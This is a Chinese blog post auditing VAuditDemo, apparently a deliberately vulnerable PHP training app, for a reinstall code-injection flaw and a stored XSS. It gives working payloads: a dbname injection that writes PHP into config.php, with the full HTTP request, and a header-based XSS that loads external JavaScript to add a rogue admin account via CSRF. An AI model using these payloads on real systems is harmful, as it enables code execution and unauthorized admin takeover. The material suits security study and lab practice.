VAuditDemo-安装问题和XSS的审计

安装问题的审计

一般PHP程序都有一个初始安装的功能。 当程序安装后一般会自动删除安装文件、或者加lock限制。

安装功能可能存在以下问题:
  • 无验证功能,任意重装覆盖
  • $_GET['step']跳过限制步骤
  • 变量覆盖导致重装
  • 判断lock后跳转无exit
  • 解析install.php.bak漏洞
  • 其他特定功能绕过漏洞

 

安装问题分析

  • 首先查看install.php发现在判断存在lock文件后无exit。
<?php
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
    header( "Location: ../index.php" );
    /* exit;*/
}

 

再继续查看代码发现,dbname在写入config.php时未做过滤。

if (in_array(strtolower($dbname), $data)){  
        mysql_close();
        echo "<script>if(!alert('數據庫已存在')){window.history.back(-1);}</script>";
        exit();
    }

...

    mysql_query( "CREATE DATABASE $dbname", $con ) or die ( mysql_error() );  

$fp=fopen( "../sys/config.php", "w" );   
    fwrite( $fp, $str_tmp );
    fclose( $fp );

 

查看config.php,构造payload

闭合双引号,然后在后面跟上我们要执行的代码,注释掉后面的内容。

$host="localhost"; 
$username="root"; 
$password="root"; 
$database="vauditdemo"; //  exp;-- -";phpinfo();//

 

返回到install.php中注释掉lock后的跳转语句,访问install.php并在进入重装页面使用burpsuite抓包。

if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
    // header( "Location: ../index.php" );
}

 

抓包修改dbname的值为我们构造的payload。

POST /vauditdemo/install/install.php HTTP/1.1
Host: 192.168.174.195
Content-Length: 84
Cache-Control: max-age=0
Origin: http://192.168.174.195
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.174.195/vauditdemo/install/install.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

dbhost=localhost&dbuser=root&dbpass=root&dbname=exp;-- -";phpinfo();//&Submit=%E5%AE%89%E8%A3%9D

 

抓包后,将install.php中的跳转语句的注释取消。

发送payload后,然后查看config.php中的dbname内容,可以看到payload已经成功被写入config.php文件中。

$host="localhost"; 
$username="root"; 
$password="root"; 
$database="exp;-- -";phpinfo();//";

 

访问config.php即可显示phpinfo()信息。

 

 

审计思路总结

判断lock后跳转无exit
-->
$dbname = $_POST["dbname"];
-->
mysql_query()-->error-->die;
-->
$str_tmp
-->
fwrite($fp,$str_tmp);
-->
shell it!


XSS后台敏感操作

查看如下代码:获取源IP的方式是先判断是否存在HTTP_CLIENT_IP字段,若没有再查看是否存在HTTP_X_FORWARDED_FOR字段,若无,则通过REMOTE_ADDR获取,而我们可以控制的只有HTTP_CLIENT_IP和X_FORWARDED_FOR字段,可以达到注入的目的。

function get_client_ip(){
    if ($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"], "unknown")){
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    }else if ($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){
        $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    }else if ($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){
        $ip = $_SERVER["REMOTE_ADDR"];
    }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")){
        $ip = $_SERVER['REMOTE_ADDR'];
    }else{
        $ip = "unknown";
    }
    return($ip);
}

然后我们通过回溯来找出get_client_ip函数在哪里都有使用。

if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {
    $clean_name = clean_input($_POST['user']);
    $clean_pass = clean_input($_POST['pass']);
    $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";
    $data = mysql_query($query, $conn) or die('Error!!');

    if (mysql_num_rows($data) == 1) {
        $row = mysql_fetch_array($data);
        $_SESSION['username'] = $row['user_name'];
        $_SESSION['avatar'] = $row['user_avatar'];
        $ip = sqlwaf(get_client_ip());
        $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
        mysql_query($query, $conn) or die("updata error!");
        header('Location: user.php');
        }
    else {
        $_SESSION['error_info'] = '用户名或密码错误';
        header('Location: login.php');
    }
    mysql_close($conn);
}

通过分析可以知道在登录时进行了获取IP的操作,并且get_client_ip()使用sqlwaf过滤器进行了过滤,并且$ip使用单引号进行包裹,因此无法进行SQL注入。

$ip = sqlwaf(get_client_ip());
$query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";

由于sqlwaf()过滤器只是进行了SQL注入的过滤,并没有XSS的过滤,因此此处我们可以使用XSS注入攻击。

login_ip = '$ip,我们只要找到login_ip所在位置,当数据库字段数允许达到一定的要求,即可进行xss注入。

全局搜索login_ip,发现在manageUser.php中存在login_ip. 从数据库字段信息中可以看到该字段设置了255个字符长度。

C:\phpstudy_pro\WWW\vauditdemo\admin\manageUser.php:
   24          <td><?php echo $users['user_id'];?></a></td>
   25          <td><?php echo $html_user_name;?></td>
   26:         <td><?php echo $users['login_ip'];?></td>
   27          <td><a href="delUser.php?id=<?php echo $users['user_id'];?>">删除</a></td>
   28      </tr>

C:\phpstudy_pro\WWW\vauditdemo\install\install.sql:
   57    `user_bio` varchar(255) NOT NULL DEFAULT '',
   58    `join_date` date NOT NULL,
   59:   `login_ip` varchar(255) DEFAULT NULL,
   60    PRIMARY KEY (`user_id`)
   61  ) ENGINE=MyISAM AUTO_INCREMENT=8 DEFAULT CHARSET=utf8;

C:\phpstudy_pro\WWW\vauditdemo\user\logCheck.php:
   13          $_SESSION['avatar'] = $row['user_avatar'];
   14          $ip = sqlwaf(get_client_ip());
   15:         $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
   16          mysql_query($query, $conn) or die("updata error!");
   17          header('Location: user.php');

我们可以在登录时构造插入xss代码,使用xss引入外部js代码来执行添加用户操作,当管理员触发了xss,即可添加一个新用户。

if (mysql_num_rows($data) == 1) {
        $row = mysql_fetch_array($data);
        $_SESSION['username'] = $row['user_name'];
        $_SESSION['avatar'] = $row['user_avatar'];
        $ip = sqlwaf(get_client_ip());
        // <script src="http://www.code.com/csrfdemo.js"></script>
        $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
        mysql_query($query, $conn) or die("updata error!");
        header('Location: user.php');
        }
    else {
        $_SESSION['error_info'] = '用户名或密码错误';
        header('Location: login.php');
    }

js:将csrf的payload放在远程服务器上。

(function () {
    var xmlHttp;
    try {
        xmlHttp = new XMLHttpRequest();
    } catch (e)    {
        try {
             xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            try {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {
            }
        }
    }
    xmlHttp.open("POST","manageAdmin.php",true);
    xmlHttp.setRequestHeader('Content-type','application/x-www-form-urlencoded');
    xmlHttp.send('username=xss&password=123456' || null);
}) ();

xss代码执行后,成功添加了一个管理员用户xss

Name    Manege
admin    删除
xss      删除
 
posted @ 2020-04-06 20:54  micr067  阅读(991)  评论(0编辑  收藏  举报